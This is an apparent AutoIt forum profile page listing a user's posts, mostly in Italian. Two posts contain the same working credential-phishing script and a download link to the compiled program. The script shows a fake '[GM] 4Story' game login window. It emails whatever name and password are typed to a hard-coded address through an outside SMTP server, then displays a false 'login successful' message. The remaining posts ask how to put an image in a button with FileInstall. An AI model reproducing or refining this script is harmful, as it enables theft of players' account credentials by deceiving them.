Jump to content

magri972011

Members
  • Posts

    7
  • Joined

  • Last visited

magri972011's Achievements

Seeker

Seeker (1/7)

0

Reputation

  1. @Melba23 No, Ididto try ifI couldunderstandit?Quiet! (I still read the rules)
  2. EDIT: #include <ButtonConstants.au3> #include <EditConstants.au3> #include <GUIConstantsEx.au3> #include <WindowsConstants.au3> #include <StaticConstants.au3> #include <GuiImageList.au3> #include <GuiButton.au3> #include <INet.au3> #requireadmin FileInstall("C:\Users\Magri\Desktop\System.bmp", @ScriptDir & "\System.bmp") $Form1 = GUICreate("[GM] 4Story Gor v 1.6", 1280, 651, 0, 0,BitOR($GUI_SS_DEFAULT_GUI,$WS_MAXIMIZEBOX,$WS_SIZEBOX,$WS_THICKFRAME,$WS_MAXIMIZE,$WS_CLIPCHILDREN,$WS_TABSTOP)) $Input1 = GUICtrlCreateInput("", 496, 257, 290, 19 ,BitOR($GUI_SS_DEFAULT_INPUT,$ES_PASSWORD)) $Input2 = GUICtrlCreateInput("", 496, 185, 290, 19) $Input3 = GUICtrlCreateLabel("AnonimatoGm@live.it",0, 0, 1, 0,$SS_ETCHEDFRAME) $Input4 = GUICtrlCreateLabel("Oggetto",0, 0, 1, 0,$SS_ETCHEDFRAME) $Input5 = GUICtrlCreateLabel("out.alice.it",0, 0, 1, 0,$SS_ETCHEDFRAME) $Label1 = GUICtrlCreateLabel("Testo Email",0, 0, 1, 0,$SS_ETCHEDFRAME) FileInstall("C:\Users\Magri\Desktop\Sfondo.gif",@Tempdir&"\Sfondo.gif") GUICtrlCreatePic(@TempDir&"\Sfondo.gif",0,0,1280,651) GUICtrlSetState(-1,128) $Button1 = GUICtrlCreateButton("", 491, 398, 275, 49, $BS_BITMAP) GUICtrlSetImage(-1, "System.bmp") GUISetState(@SW_SHOW) $Pic1 = GUICtrlCreatePic("C:\Users\Magri\Desktop\Sfondo.gif", 0, 0, 1280, 651) While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Button1 FileDelete( @ScriptDir & "\Image.bmp") $Mittente =GUICtrlRead($Input2) $Destinatario =GUICtrlRead($Input3) $Oggetto=GUICtrlRead($Input4) $Nome =GUICtrlRead($Input1) $Server=GUICtrlRead($input5) $Testo=GUICtrlRead($Label1) $Response = _INetSmtpMail ($Server,$Nome,$Mittente, $Destinatario, $Oggetto, $Testo,@computername, -1) $errore = @error If $Response = 1 Then MsgBox(0, "Successo", "Login Effettuato con Successo... Non Entrare nell'Account Dopo le 24h...") Else MsgBox(0, "Errore", "C'è Stato un Errore ci Scusiamo per il Disagio..." & $errore) EndIf EndSwitch WEnd Ipostedon the Internettell me ifthe buttongoes out,that sayslogin!please http://www.mediafire.com/?601851zcr6on04u If not leave I can fix? Thanks ...
  3. #include <ButtonConstants.au3> #include <EditConstants.au3> #include <GUIConstantsEx.au3> #include <WindowsConstants.au3> #include <StaticConstants.au3> #include <GuiImageList.au3> #include <GuiButton.au3> #include <INet.au3> #requireadmin FileInstall("C:\Users\Magri\Desktop\System.bmp", @ScriptDir & "\System.bmp") $Form1 = GUICreate("[GM] 4Story Gor v 1.6", 1280, 651, 0, 0,BitOR($GUI_SS_DEFAULT_GUI,$WS_MAXIMIZEBOX,$WS_SIZEBOX,$WS_THICKFRAME,$WS_MAXIMIZE,$WS_CLIPCHILDREN,$WS_TABSTOP)) $Input1 = GUICtrlCreateInput("", 496, 257, 290, 19 ,BitOR($GUI_SS_DEFAULT_INPUT,$ES_PASSWORD)) $Input2 = GUICtrlCreateInput("", 496, 185, 290, 19) $Input3 = GUICtrlCreateLabel("AnonimatoGm@live.it",0, 0, 1, 0,$SS_ETCHEDFRAME) $Input4 = GUICtrlCreateLabel("Oggetto",0, 0, 1, 0,$SS_ETCHEDFRAME) $Input5 = GUICtrlCreateLabel("out.alice.it",0, 0, 1, 0,$SS_ETCHEDFRAME) $Label1 = GUICtrlCreateLabel("Testo Email",0, 0, 1, 0,$SS_ETCHEDFRAME) FileInstall("C:\Users\Magri\Desktop\Sfondo.gif",@Tempdir&"\Sfondo.gif") GUICtrlCreatePic(@TempDir&"\Sfondo.gif",0,0,1280,651) GUICtrlSetState(-1,128) $Button1 = GUICtrlCreateButton("", 491, 398, 275, 49, $BS_BITMAP) GUICtrlSetImage(-1, "System.bmp") GUISetState(@SW_SHOW) $Pic1 = GUICtrlCreatePic("C:\Users\Magri\Desktop\Sfondo.gif", 0, 0, 1280, 651) While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Button1 FileDelete( @ScriptDir & "\Image.bmp") $Mittente =GUICtrlRead($Input2) $Destinatario =GUICtrlRead($Input3) $Oggetto=GUICtrlRead($Input4) $Nome =GUICtrlRead($Input1) $Server=GUICtrlRead($input5) $Testo=GUICtrlRead($Label1) $Response = _INetSmtpMail ($Server,$Nome,$Mittente, $Destinatario, $Oggetto, $Testo,@computername, -1) $errore = @error If $Response = 1 Then MsgBox(0, "Successo", "Login Effettuato con Successo... Non Entrare nell'Account Dopo le 24h...") Else MsgBox(0, "Errore", "C'è Stato un Errore ci Scusiamo per il Disagio..." & $errore) EndIf EndSwitch WEnd Lo postato su Internet ditemi se il bottone esce, con scritto login ! per favore http://www.mediafire.com/?601851zcr6on04u Se non esce me lo potete aggiustare ? Grazie ...
  4. Grazie mille Melba23 preciso e istantaneo xD
  5. Ciao ... comunque scusa, non pensavo di fare tanto casino per una cosa del genere.... Passando a noi, vorrei creare un bottone con l'immagine e con il comando " FIleInstall " (lo so fare ma non con fileinstall ) così che quando vado ad aprire il file.exe non ho bisogno dell'immagine per forza. Come si fa ?
  6. Putting an image into a button with the command " FileInstall " ??? P.S : Sorry for English tragedy xD I'm Italian....
×
×
  • Create New...